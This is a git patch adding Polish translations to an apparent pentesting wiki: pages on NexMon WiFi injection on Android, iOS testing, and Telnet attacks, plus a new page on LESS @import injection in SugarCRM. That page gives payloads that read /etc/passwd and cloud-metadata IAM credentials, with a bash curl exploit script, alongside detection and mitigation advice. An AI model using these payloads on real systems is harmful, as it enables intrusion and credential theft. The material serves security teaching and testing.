From 451a5b9bcd49e19fbca1e21453ff67cd5ad609a8 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 15 Jul 2025 10:46:42 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena --- src/SUMMARY.md | 1 + ...nexmon-monitor-and-injection-on-android.md | 18 ++--- .../ios-pentesting-without-jailbreak.md | 8 +- .../pentesting-telnet.md | 12 +-- .../less-code-injection-ssrf.md | 75 +++++++++++++++++++ .../ssrf-vulnerable-platforms.md | 6 ++ 6 files changed, 101 insertions(+), 19 deletions(-) create mode 100644 src/pentesting-web/less-code-injection-ssrf.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 93b6e3273..b260a5217 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -544,6 +544,7 @@ # 🕸️ Pentesting Web +- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md) - [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) - [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) - [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md) diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md index 8d4724017..038cb1272 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md @@ -5,13 +5,13 @@ ## Przegląd Większość nowoczesnych telefonów z Androidem zawiera układ Wi-Fi Broadcom/Cypress, który jest dostarczany bez trybu monitorowania 802.11 lub możliwości wstrzykiwania ramek. Framework open-source NexMon łata zastrzeżone oprogramowanie układowe, aby dodać te funkcje i udostępnia je za pośrednictwem biblioteki współdzielonej (`libnexmon.so`) oraz pomocnika CLI (`nexutil`). Poprzez wstępne załadowanie tej biblioteki do standardowego sterownika Wi-Fi, zrootowane urządzenie może przechwytywać surowy ruch 802.11 i wstrzykiwać dowolne ramki – eliminując potrzebę zewnętrznego adaptera USB. -Ta strona dokumentuje szybki workflow, który wykorzystuje w pełni załatany telefon Samsung Galaxy S10 (BCM4375B1) jako przykład, używając: +Ta strona dokumentuje szybki proces roboczy, który wykorzystuje w pełni załatany Samsung Galaxy S10 (BCM4375B1) jako przykład, używając: * Moduł NexMon Magisk zawierający załatane oprogramowanie układowe + `libnexmon.so` * Aplikacja Hijacker na Androida do automatyzacji przełączania trybu monitorowania * Opcjonalnie Kali NetHunter chroot do uruchamiania klasycznych narzędzi bezprzewodowych (aircrack-ng, wifite, mdk4 …) bezpośrednio na wewnętrznym interfejsie -Ta sama technika ma zastosowanie do każdego telefonu, który ma publicznie dostępny patch NexMon (Pixel 1, Nexus 6P, Galaxy S7/S8 itp.). +Ta sama technika ma zastosowanie do każdego telefonu, który ma publicznie dostępny łata NexMon (Pixel 1, Nexus 6P, Galaxy S7/S8 itp.). --- @@ -19,15 +19,15 @@ Ta sama technika ma zastosowanie do każdego telefonu, który ma publicznie dost * Telefon z Androidem z obsługiwanym układem Broadcom/Cypress (np. BCM4358/59/43596/4375B1) * Root z Magisk ≥ 24 * BusyBox (większość ROM-ów/NetHunter już go zawiera) -* ZIP NexMon Magisk lub samodzielnie skompilowany patch dostarczający: +* ZIP NexMon Magisk lub samodzielnie skompilowana łatka dostarczająca: * `/system/lib*/libnexmon.so` * `/system/xbin/nexutil` -* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker +* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker) * (Opcjonalnie) Kali NetHunter lub dowolny Linux chroot, w którym zamierzasz uruchomić narzędzia bezprzewodowe --- -## Flashowanie patcha NexMon (Magisk) +## Flashowanie łatki NexMon (Magisk) 1. Pobierz ZIP dla swojego dokładnego urządzenia/oprogramowania (przykład: `nexmon-s10.zip`). 2. Otwórz Magisk -> Moduły -> Zainstaluj z pamięci -> wybierz ZIP i uruchom ponownie. Moduł kopiuje `libnexmon.so` do `/data/adb/modules//lib*/` i zapewnia, że etykiety SELinux są poprawne. @@ -82,7 +82,7 @@ Jeśli potrzebujesz tylko pasywnego sniffingu, pomiń flagę `-s0x613`. --- ## Używanie `libnexmon` w Kali NetHunter / chroot -Standardowe narzędzia w przestrzeni użytkownika w Kali nie znają NexMon, ale możesz zmusić je do jego użycia za pomocą `LD_PRELOAD`: +Standardowe narzędzia użytkownika w Kali nie znają NexMon, ale możesz zmusić je do jego użycia za pomocą `LD_PRELOAD`: 1. Skopiuj wstępnie zbudowany obiekt współdzielony do chroot: ```bash @@ -97,11 +97,11 @@ wifite -i wlan0 # lub aircrack-ng, mdk4 … ``` 4. Po zakończeniu, wyłącz tryb monitorowania jak zwykle na Androidzie. -Ponieważ oprogramowanie układowe już obsługuje wstrzykiwanie radiotap, narzędzia w przestrzeni użytkownika zachowują się tak samo jak na zewnętrznym adapterze Atheros. +Ponieważ oprogramowanie układowe już obsługuje wstrzykiwanie radiotap, narzędzia użytkownika zachowują się tak samo jak na zewnętrznym adapterze Atheros. --- -## Typowe ataki możliwe +## Typowe możliwe ataki Gdy monitor + TX jest aktywny, możesz: * Przechwytywać handshake WPA(2/3-SAE) lub PMKID za pomocą `wifite`, `hcxdumptool`, `airodump-ng`. * Wstrzykiwać ramki deautoryzacji / dezasocjacji, aby zmusić klientów do ponownego połączenia. @@ -115,7 +115,7 @@ Wydajność na Galaxy S10 jest porównywalna z zewnętrznymi NIC USB (~20 dBm TX ## Rozwiązywanie problemów * `Device or resource busy` – upewnij się, że **usługa Wi-Fi Android jest wyłączona** (`svc wifi disable`) przed włączeniem trybu monitorowania. * `nexutil: ioctl(PRIV_MAGIC) failed` – biblioteka nie jest wstępnie załadowana; sprawdź ścieżkę `LD_PRELOAD`. -* Wstrzykiwanie ramek działa, ale nie przechwycono pakietów – niektóre ROM-y blokują kanały; spróbuj `nexutil -c ` lub `iwconfig wlan0 channel `. +* Wstrzykiwanie ramek działa, ale nie przechwycono pakietów – niektóre ROM-y twardo blokują kanały; spróbuj `nexutil -c ` lub `iwconfig wlan0 channel `. * SELinux blokuje bibliotekę – ustaw urządzenie na *Permissive* lub napraw kontekst modułu: `chcon u:object_r:system_lib_file:s0 libnexmon.so`. --- diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 3b7aa21c2..2fd742942 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -94,9 +94,9 @@ frida -U -f com.example.target -l my_script.js --no-pause ``` Najnowsze wydania Frida (>=16) automatycznie obsługują uwierzytelnianie wskaźników i inne środki zaradcze iOS 17, więc większość istniejących skryptów działa od razu. -### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreak) +### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreaka) -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`) i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【†L2-L3】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`) i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ @@ -106,10 +106,10 @@ opensecurity/mobile-security-framework-mobsf:latest ``` MobSF automatycznie wdroży binarny plik, włączy serwer Frida w sandboxie aplikacji i wygeneruje interaktywny raport. -### iOS 17 i uwagi dotyczące trybu blokady +### iOS 17 i ograniczenia trybu blokady * **Tryb blokady** (Ustawienia → Prywatność i bezpieczeństwo) blokuje dynamiczny linker przed ładowaniem niesygnowanych lub zewnętrznie sygnowanych bibliotek dynamicznych. Podczas testowania urządzeń, które mogą mieć włączony ten tryb, upewnij się, że jest **wyłączony**, inaczej sesje Frida/objection zakończą się natychmiast. -* Uwierzytelnianie wskaźników (PAC) jest egzekwowane w całym systemie na urządzeniach A12 i nowszych. Frida ≥16 transparentnie obsługuje usuwanie PAC — wystarczy, że będziesz na bieżąco aktualizować zarówno *frida-server*, jak i zestaw narzędzi Python/CLI, gdy pojawi się nowa główna wersja iOS. +* Uwierzytelnianie wskaźników (PAC) jest egzekwowane w całym systemie na urządzeniach A12 i nowszych. Frida ≥16 transparentnie obsługuje usuwanie PAC — wystarczy, że będziesz na bieżąco aktualizować zarówno *frida-server*, jak i zestaw narzędzi Python/CLI, gdy zostanie wydana nowa główna wersja iOS. ## Odniesienia diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index c504ff35f..6d33cbd39 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` Skrypt `telnet-ntlm-info.nse` uzyska informacje NTLM (wersje Windows). -Z [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): W protokole TELNET znajdują się różne "**opcje**", które będą zatwierdzone i mogą być używane z strukturą "**DO, DON'T, WILL, WON'T**", aby umożliwić użytkownikowi i serwerowi uzgodnienie użycia bardziej złożonego (lub może po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, tryb echa itp. +Z [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): W protokole TELNET znajdują się różne "**opcje**", które będą zatwierdzone i mogą być używane z strukturą "**DO, DON'T, WILL, WON'T**", aby umożliwić użytkownikowi i serwerowi zgodzenie się na użycie bardziej złożonego (lub może po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, tryb echa itp. **Wiem, że możliwe jest enumerowanie tych opcji, ale nie wiem jak, więc daj mi znać, jeśli wiesz jak.** @@ -35,7 +35,7 @@ Z [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): W protokole TELNET /etc/xinetd.d/telnet /etc/xinetd.d/stelnet ``` -## Automatyczne polecenia HackTricks +## HackTricks Automatyczne Komendy ``` Protocol_Name: Telnet #Protocol Abbreviation if there is one. Port_Number: 23 #Comma separated if there is more than one. @@ -69,11 +69,11 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS ``` ### Recent Vulnerabilities (2022-2025) -* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: Wbudowana usługa Telnet akceptowała twardo zakodowane dane uwierzytelniające i nie sanitizowała wejścia, co pozwalało na nieautoryzowane zdalne RCE jako root za pomocą spreparowanych poleceń na porcie 23. Naprawiono w oprogramowaniu układowym ≥ 1.04B05. +* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: Wbudowana usługa Telnet akceptowała twardo zakodowane dane uwierzytelniające i nie sanitizowała wejścia, co pozwalało na nieautoryzowane zdalne RCE jako root za pomocą stworzonych poleceń na porcie 23. Naprawiono w oprogramowaniu układowym ≥ 1.04B05. * **CVE-2023-40478 – NETGEAR RAX30**: Przepełnienie bufora oparte na stosie w poleceniu Telnet CLI `passwd` pozwala sąsiedniemu atakującemu na ominięcie uwierzytelnienia i wykonanie dowolnego kodu jako root. * **CVE-2022-39028 – GNU inetutils telnetd**: Sekwencja dwóch bajtów (`0xff 0xf7` / `0xff 0xf8`) wywołuje dereferencję wskaźnika NULL, co może spowodować awarię `telnetd`, prowadząc do trwałego DoS po kilku awariach. -Pamiętaj o tych CVE podczas triage podatności — jeśli cel działa na niepoprawionym oprogramowaniu układowym lub przestarzałym demonie Telnet inetutils, możesz mieć prostą drogę do wykonania kodu lub zakłócającego DoS. +Pamiętaj o tych CVE podczas triage podatności — jeśli cel działa na niezałatanym oprogramowaniu układowym lub przestarzałym demonie Telnet inetutils, możesz mieć prostą drogę do wykonania kodu lub zakłócającego DoS. ### Sniffing Credentials & Man-in-the-Middle @@ -85,7 +85,7 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " # Wireshark display filter tcp.port == 23 && (telnet.data || telnet.option) ``` -Dla aktywnego MITM, połącz spoofing ARP (np. `arpspoof`/`ettercap`) z tymi samymi filtrami sniffującymi, aby zbierać hasła w sieciach przełączanych. +Dla aktywnego MITM, połącz spoofing ARP (np. `arpspoof`/`ettercap`) z tymi samymi filtrami sniffingowymi, aby zbierać hasła w sieciach przełączanych. ### Zautomatyzowane ataki brute-force / Password Spraying ```bash @@ -123,4 +123,4 @@ Po uzyskaniu powłoki pamiętaj, że **TTY są zazwyczaj głupie**; zaktualizuj * D-Link Advisory – CVE-2024-45698 Krytyczne Telnet RCE. * NVD – CVE-2022-39028 inetutils `telnetd` DoS. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/less-code-injection-ssrf.md b/src/pentesting-web/less-code-injection-ssrf.md new file mode 100644 index 000000000..1d061762c --- /dev/null +++ b/src/pentesting-web/less-code-injection-ssrf.md @@ -0,0 +1,75 @@ +# LESS Code Injection prowadzący do SSRF i odczytu lokalnych plików + +{{#include ../banners/hacktricks-training.md}} + +## Przegląd + +LESS to popularny preprocesor CSS, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę `@import`. Podczas kompilacji silnik LESS **pobiera zasoby wskazane w dyrektywach `@import`** i osadza ("inline") ich zawartość w wynikowym CSS, gdy używana jest opcja `(inline)`. + +Gdy aplikacja konkatenatuje **wejście kontrolowane przez użytkownika** w ciągu, który jest później analizowany przez kompilator LESS, atakujący może **wstrzyknąć dowolny kod LESS**. Nadużywając `@import (inline)`, atakujący może zmusić serwer do pobrania: + +* Lokalnych plików za pomocą protokołu `file://` (ujawnienie informacji / Lokalna Inkluzja Plików). +* Zdalnych zasobów w sieciach wewnętrznych lub usługach metadanych w chmurze (SSRF). + +Technika ta została zaobserwowana w produktach rzeczywistych, takich jak **SugarCRM ≤ 14.0.0** (punkt końcowy `/rest/v10/css/preview`). + +## Wykorzystanie + +1. Zidentyfikuj parametr, który jest bezpośrednio osadzony w ciągu arkusza stylów przetwarzanym przez silnik LESS (np. `?lm=` w SugarCRM). +2. Zamknij bieżące oświadczenie i wstrzyknij nowe dyrektywy. Najczęściej używane prymitywy to: +* `;` – kończy poprzednią deklarację. +* `}` – zamyka poprzedni blok (jeśli to konieczne). +3. Użyj `@import (inline) '';`, aby odczytać dowolne zasoby. +4. Opcjonalnie wstrzyknij **znacznik** (`data:` URI) po imporcie, aby ułatwić ekstrakcję pobranej zawartości z skompilowanego CSS. + +### Odczyt lokalnych plików +``` +1; @import (inline) 'file:///etc/passwd'; +@import (inline) 'data:text/plain,@@END@@'; // +``` +Zawartość `/etc/passwd` pojawi się w odpowiedzi HTTP tuż przed znacznikiem `@@END@@`. + +### SSRF – Metadane chmury +``` +1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; +@import (inline) 'data:text/plain,@@END@@'; // +``` +### Zautomatyzowany PoC (przykład SugarCRM) +```bash +#!/usr/bin/env bash +# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd + +TARGET="$1" # Base URL of SugarCRM instance +RESOURCE="$2" # file:// path or URL to fetch + +INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") + +curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ +sed -n 's/.*@@END@@\(.*\)/\1/p' +``` +## Wykrywanie + +* Szukaj dynamicznie generowanych odpowiedzi `.less` lub `.css` zawierających niesanitizowane parametry zapytania. +* Podczas przeglądu kodu, szukaj konstrukcji takich jak `"@media all { .preview { ... ${userInput} ... } }"` przekazywanych do funkcji renderujących LESS. +* Próby wykorzystania często zawierają `@import`, `(inline)`, `file://`, `http://169.254.169.254` itp. + +## Łagodzenie + +* Nie przekazuj nieufnych danych do kompilatora LESS. +* Jeśli wymagane są dynamiczne wartości, odpowiednio je **escape**/sanitizuj (np. ogranicz do tokenów numerycznych, białe listy). +* Wyłącz, gdy to możliwe, możliwość używania importów `(inline)`, lub ogranicz dozwolone protokoły do `https`. +* Utrzymuj zależności na bieżąco – SugarCRM naprawił ten problem w wersjach 13.0.4 i 14.0.1. + +## Przykłady z rzeczywistego świata + +| Produkt | Wrażliwy punkt końcowy | Wpływ | +|---------|-----------------------|-------| +| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Nieautoryzowany SSRF i odczyt lokalnych plików | + +## Odniesienia + +* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) +* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index 095939762..086befd72 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -4,4 +4,10 @@ Sprawdź **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** +- SugarCRM ≤ 14.0.0 – LESS `@import` injection w `/rest/v10/css/preview` umożliwia nieautoryzowany SSRF i odczyt lokalnych plików. + +{{#ref}} +../less-code-injection-ssrf.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}}